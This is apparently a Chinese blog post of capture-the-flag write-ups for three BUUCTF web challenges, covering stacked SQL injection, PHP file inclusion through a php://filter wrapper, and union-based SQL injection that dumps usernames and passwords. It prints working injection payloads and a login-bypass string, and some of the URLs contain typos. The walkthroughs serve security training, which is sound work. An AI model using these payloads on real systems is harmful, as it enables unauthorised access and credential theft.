BUUCTF-WEB2

Buuctf-Web-[极客大挑战 2019]EasySQL 1 题解及思路总结 SQL注入。 阅读详情

[SUCTF 2019]EasySQL1

1.启动靶机

2.寻找注入点和注入方法

随便输入一个字母,没有回显

随便输入一个数字,发现有回显,并且回显结果一样

3.堆叠注入

1; show databases;     #查看数据库

1; show tables;    #查看数据表

里面有个flag

1;set sql_mode=PIPES_AS_CONCAT;select 1

1;:这个部分是一个 SQL 查询的结束符号。在 MySQL 中,分号用于结束 SQL 语句
set sql_mode=PIPES_AS_CONCAT;:是一个 SQL 语句,用于设置 MySQL 数据库的 SQL 模式为 PIPES_AS_CONCAT,这个设置可能是为了改变 SQL 的连接操作符行为,将竖线(|)视为字符串连接符而不是按位或运算符
select 1:一个简单的 SQL 查询,选择值为 1 的列

4.得到flag

[极客大挑战 2019]Secret File1

1.启动靶机

2.查看源码

右键查看源代码

右键查看源代码

并查看源代码

3.burp suite

利用抓包工具,抓取跳转的页面

发现一个secr3t.php

访问secr3t.php,提示放在了flag.php中

访问flag.php

4.代码分析

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

第12行代码中的include函数说明secr3t.php存在文件包含漏洞

第8行代码没有过滤filter,所以我们可以直接使用php伪协议读取flag.php

5.随波逐流base64解密

将得到的一堆base64放到随波逐流工具中进行解密

6.得到flag

[极客大挑战 2019]LoveSQL1

1.启动靶机

2.万能密码

用万能密码,用户是a' or true # ,这里我输的密码是123(可以输任何密码)

登录

F12,可以看到是以get方式传参

3.测试是否有注入点

http://f99a1e2d-3f5d-4aff-a8fc-404d75c9b59e.node5.buuoj.cn:81/check.php?username=1' order by 1%23&password=123

order by 4的时候报错

可以判断出有三个字段

4.寻找注入点

利用联合查询,寻找注入点

http://f99a1e2d-3f5d-4aff-a8fc-404d75c9b59e.node5.buuoicn:81/check,php?username=1'unionselect 1.2.3%23&password=123

说明注入点是2,3

5.注入

通过联合查询

http://f99a1e2d-3f5d-4aff-a8fc-404d75c9b59e.node5.buuoj.cn:81/check,php?usemame=1' union select 1,database(),3%23&password=123

得到一个名为geek的数据库

通过联合查询从数据库中获取表名的列表

http://f99a1e2d-3f5d-4aff-a8fc-404d75c9b59e.node5.buuoj.cn:81/check.php?username=1'union select 1,database(),group concat(table name) from infommation schema.tables wheretable schema=database()%23&password=123

获取敏感数据,包括用户表中的用户 ID、用户名和密码

http://f99a1e2d-3f5d-4aff-a8fc-404d75c9b59e.node5.buuoj.cn:81/check,php?usermame=1'union select1,database(),group concat(id,username,password) from l0ve1ysg1%23&password=123

6.得到flag

BUUCTF [SUCTF 2019]EasySQL1 writeup 很简单的,但是注入条件十分有限,只有调用数据库的函数支持执行多条语句才能够使用,mysqli_multi_query()函数,大多开发人员不会用这个,往往开发用的是mysqli_query函数,只执行一条语句;然后我就想执行select * from Flag嘛,em,可是fuzz得到from关键字是被挡的;实现select *,1 from Flag执行,select **** from Flag不执行。相当于是select 1 from Flag和select flag from Flag。 阅读详情

相关推荐

BUUCTF [SUCTF 2019]EasySQL1 writeup(详细版)

考点:堆叠注入,MySQL和mssql中||运算符的区别,运算符的意义转换(操作符重置) 打开靶机,尝试输入1查看回显: 可以看到表格回显了内容:1,用其他非0数字尝试全都回显1,那我们换个数字尝试,比如0: 什么都没有。 使用Sql堆叠注入查看信息,先用show指令查看数据库:1;show databases; 再查看一下表:1;show tables; 看到Flag表,猜测flag应该在Flag中。 但是直接select flag from Flag查询是查不...

m0_62851980的博客 1万+

【极客大挑战 2019】EasySQL

[极客大挑战 2019] EasySQL 判断是数字还是字符型注入 正常查询的回显 输入字符型判断一下,发现报错了,看报错显示 ‘1’‘’,输入的是1’,这里查询语句中应该是存在一个单引号的,所以这里报错了,多了一个单引号,说明这里存在字符型的注入,先用万能钥匙测测 使用万能钥匙一测,第一次 正常回显错误,然后又用字符型的测了一下,发现这里的报错中带有 一部分的查询语句 # 万能公式 1 and 1=1 1' and '1'='1 1 or 1=1 1' or '1'='1

Knsec 1万+

[BUUCTF][CISCN2019 华北赛区 Day1 Web2]ikun

文章目录知识点JWTPICKLEWP部分第一步找到lv6第二步BURP抓包修改pickel参考文章 知识点 JWT JWT相关 JWT解密网站 JWT破解利用工具 PICKLE Pickle模块中最常用的函数为: (1)pickle.dump(obj, file, [,protocol]) 函数的功能:将obj对象序列化存入已经打开的file中。 参数讲解: obj:想要序列化的obj对象。 file:文件名称。 protocol:序

Y4tacker的博客 7941

buuctf之EasySQL

pyload:1’ or1=1 # (#的意思是把后面的注释掉,在这里是注释到闭合的‘,保证语句正常执行)页面报错,说明为字符型,在构造pyload时候,需要主要闭合‘。用or是因为1=1为真,则该语句执行结果为真。1、手工判断注入类型。输入1’判断注入类型,2、构造pyload。

qq_38634097的博客 1313

WorkBuddy任务对话上下文管理:Token、compact与上下文窗口实战指南

在大语言模型应用中,Token作为文本处理的最小单位,直接决定上下文窗口的消耗速度,而上下文窗口则限定了单次对话可承载的信息总量。当对话超出窗口限制时,compact压缩机制会触发有损摘要,导致关键约束丢失或工具调用结果被稀释。合理管理上下文不仅能提升多步骤任务的稳定性,还能显著降低Token成本与响应延迟。在文档处理、代码开发、多步自动化等场景中,通过主动压缩、状态外置、分段喂入等策略,可有效避免任务后期遗忘、版本混乱等问题。本文围绕WorkBuddy的上下文管理机制,从Token与compact的底层原

weixin_29055699的博客 391

MiniMaxH3+ComfyUI本地部署:一键整合包、工作流搭建与报错排查

本地部署视频生成模型时,模型权重、推理框架与自定义节点的匹配是核心挑战。MiniMaxH3作为多模态生成模型,通常依赖ComfyUI这类节点式工作流引擎实现可视化调度。一键整合包将Python环境、PyTorch算子、模型文件预置封装,大幅降低部署门槛,并通过半精度加载、显存碎片回收等机制优化推理速度。在文生视频、图生视频与批量生成场景中,清晰的节点链路和参数调优能力直接影响输出质量与显存占用。针对模型不识别、节点执行失败等高频问题,系统排查命令行日志与模型目录可快速定位故障。本文以MiniMaxH3整合包

weixin_29047545的博客 582

BUUCTF[Web 2]

这里是关于BUUCTF里web栏目的第二题,希望大家可以在这里学到想要的,谢谢大家观看

夜思红尘的博客 346

STM32在六轴机械臂实时控制中的选型与分层架构设计

嵌入式实时控制系统中,微控制器的选型直接决定运动控制精度与系统可靠性。其核心在于匹配确定性中断响应、低延迟外设协同与工业协议栈支持等硬性指标。STM32凭借Cortex-M内核的NVIC调度能力、成熟HAL库及CAN FD/高级定时器等专用外设,在机电一体化场景中成为伺服控制中枢的首选。相比ESP32等通用MCU,STM32在硬实时性、EMC认证生态和工业总线兼容性上具备不可替代优势。本文围绕GTB六轴机械臂项目,详解基于STM32F407的硬件抽象层配置、FreeRTOS任务调度、事件队列解耦及闭环控制数

jupi8的博客 755

buuctf---web2 havefun

fn12(或fn+fn12)进入开发者工具界面。看到要我们传一个名为cat的参数,值为dog。点击loadurl,后面加上?打开hackbar(或burpsuite)点进去是一只小猫(可爱捏)查看‘元素’或‘源代码’;

tzy_yyy的博客 237

【无人机基站】基于K-mean算法实现无人机基站部署附matlab代码

【无人机基站】基于K-mean算法实现无人机基站部署附matlab代码

天天酷科研的博客 243

【Python LeetCode 专题】面试经典 150 题

面试经典 150 题

一杯水果茶!足矣~ 1173

BUUCTF Web2

无

ookami6497的博客 784

vue2 - 实现移动端H5网页调用手机相册选取图片或打开摄像头相机拍照上传,如何在h5网站浏览器中打开本机相册或相机选择相片,H5调用本地相册/相机上传图片详细教程(附图片压缩功能及上传服务器示例)

vue2手机H5网页,调起安卓苹果ios手机相册和相机,H5实现调用手机摄像头相册实现图片压缩预览删除,vue项目调用摄像头和相册,H5调用手机摄像头,实时拍照上传,VUE2 H5页面如何唤起手机摄像头拍照上传,H5调起手机端的摄像头,html5调用手机摄像头,实现H5调起手机相机和相册,vue H5拍照上传,手机网站浏览器移动端调取相机或相册,实现拍照上传功能,解决苹果ios手机无法打开相册相机问题,无法唤起摄像头怎么办,调取本机系统的相册,vue h5网页调用相机拍照和相册,实现多张图片上传功能,图片压

✅ 精选推荐文章 1万+

BUUCTF web2

[GXYCTF2019]BabyUpload Content-Type 要修改才能传入图片 先上传一个.htaccess 内容如下 再去上传一个 图片马 上传成功连蚁剑 [BUUCTF 2018]Online Tool 大佬总结 BUUCTF 2018 Online Tool_恋物语战场原的博客-优快云博客_buuctf online [BJDCTF2020]The mystery of ip Smarty的SST ,与flask有很大区别 ,大...

qq_61768489的博客 944

FPGA入门200例(17):如何阅读RTL原理图(Schematic)?将Verilog代码与门级电路对应

本文针对FPGA开发新手常见误区,重点讲解了RTL原理图的重要性和阅读方法。文章指出,仅通过仿真验证代码会导致板级测试异常,而RTL原理图能直观呈现Verilog代码对应的硬件结构(门电路、寄存器、多路选择器等)。通过"识别基础元件→跟踪信号路径→验证逻辑关系"的三步法,新手可以建立代码与硬件的映射思维,排查冗余逻辑、意外锁存器等错误。文章还结合Vivado/Quartus工具操作指南和典型代码案例,帮助读者掌握从代码到硬件实现的转换过程,避免混淆RTL与门级原理图、忽略信号位宽等常见误

远程部署调试 运行安装 项目调试 二次开发 项目技术新 持续迭代 部分源码免费分享 200

【系统架构设计师】二十三、通信系统架构设计理论与实践①

通信网络主要形式:局域网、广域网、移动通信网。 局域网网络架构有 4 种类型:单核心架构、双核心架构、环型架构、层次型架构。 广域网属于多级网络,通常由骨干网、分布网、接入网组成。在网络规模较小时,可仅由骨干网和接入网组成。通常,在大型网络构建中,通过广域网将分布在各地域的局域网互连起来,形成一个大的网络。 移动通信网为移动互联网提供了强有力的支持,尤其是5G 网络为个人用户、垂直行业等 提供了多样化的服务。

帅次的博客 3763

BUUCTF-web刷题篇(2)

show tables#(爆出表),本题解析后发现后台的语法可能是select.POST['参数']||flag from Flag 因此可以输入*,1来显示全部内容,最后得到flag。是代码审核,这里使用了filter伪协议,当我们利用该协议查看flag.php时会把源代码爆出来,使用secr3t.php?④输入order by 例如:1 order by 2#(当使用order by去试探有多少个字段时,返回的是nonono,所以猜测order by参数被过滤了(即联合查询注入行不通))

m0_65853019的博客 466

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

BUUCTF : [CISCN2019 华北赛区 Day2 Web1]Hack World

是一种 SQL 注入攻击技术,通过观察页面的两种不同响应状态,间接推断数据库中的敏感信息。以前接触的sql注入通常是右回显的,这道题的只有当id=1或者id=2时,才会有相应的内容,其他的都返回Error Occured When Fetch Result.因此可以考虑使用布尔盲注。

qq_37510030的博客 518

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

BUUCTF-NewStarCTF 2023 公开赛道 WEEK2[WEB]include 0。0

发现有flag.php,且发现base等被过滤了,利用php伪协议,再通过利用iconv将utf-8编码转为utf-7编码,读取flag.php,构造payload。利用utf-7在线转换,得出flag。

qq_68581192的博客 779

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

BUUCTF——WEB(2)

concat可以连接多个字符串如concat('id','name',','user')作为字符串连接的数据库(PostgreSQL/Oracle/SQLite)是 “逻辑或”(不是连接符),直接执行该语句会报错 / 结果异常;输入特殊字符,没有报错回显,可能被过滤,报错注入不行。,回显Nonono,联合查询,时间盲注也不行。输入字母,0无回显,输入数字有回显。回显Nonono,布尔盲注也不行。后,结果会新增一列(默认别名如。引号可能被过滤,数字型注入尝试。,可绕过简单的关键词过滤;输入关于sql的语句,

weixin_73921499的博客 729

BUUCTF:[CISCN2019 华北赛区 Day1 Web2]ikun Writeup

BUUCTF:[CISCN2019 华北赛区 Day1 Web2]ikun Writeup

末初 · mochu7 765

buuctf web wp(2)

文章目录[极客大挑战 2019]Knife[极客大挑战 2019]Http[极客大挑战 2019]BuyFlag [极客大挑战 2019]Knife 题目提示很明显了是要用菜刀或者蚁剑 csdn上有详细的安装教程,很简单,配置好后打开蚁剑,输入网址,链接密码是Syc,连接后在目录栏找到flag [极客大挑战 2019]Http 打开题目是一个网站,查看源代码找到一个文件,点开 一串英文,能看懂,但是不影响我不会做,查看别人的wp,发现说这个来源不对,这里就需要改http的header,添加一个Refe

qq_63267612的博客 1179

BUUCTF:[CISCN2019 华东北赛区]Web2

BUUCTF:[CISCN2019 华东北赛区]Web2 参考:https://blog.youkuaiyun.com/weixin_44677409/article/details/100741998 经测试发现存在以下页面: index.php admin.php login.php register.php post.php commitbug.php about.php admin.php没有权限...

末初 · mochu7 3516

BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World1

初始页面。

duchuan_的博客 2260

【CTF练习】BUUCTF WEB2

[极客大挑战 2019]Secret 查看页面源代码,发现有其他页面的链接:./Archive_room.php 页面有按钮可以点击,但是页面跳转后并没有发现什么: 提示“回去仔细看看”,查看“SECRET”所在页的源代码,发现了./action.php,但跳转页面url 显示的是./end.php,这里是不是隐藏了什么我们看不到的东西,用bp抓包试试(在./Archive.php页面点击抓包): 发现有一个隐藏的secr3

Lush_hair_Dl的博客 1092

Buuctf-Web之 2-5题

本文总结了多个CTF题目的解题思路,涉及网页传参、PHP伪协议利用、命令注入等常见漏洞类型。其中[极客大挑战2019]通过GET传参获取flag,[ACTF2020新生赛]利用PHP伪协议读取flag文件源码,[HCTF2018]通过路径穿越和文件包含漏洞获取flag,[ACTF2020新生赛]则利用未过滤的命令注入漏洞直接读取flag。这些案例展示了Web安全中常见的漏洞利用方式,同时也提示了输入过滤、命令白名单和权限控制等防御措施的重要性。每道题目都给出了详细的解题步骤和payload构造方法,对CTF

2401_88913407的博客 1013
上一篇: BUUCTF-Misc22
下一篇: 单机 取证
lin___ying
博客等级 码龄4年 2335粉丝 91原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lin___ying

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值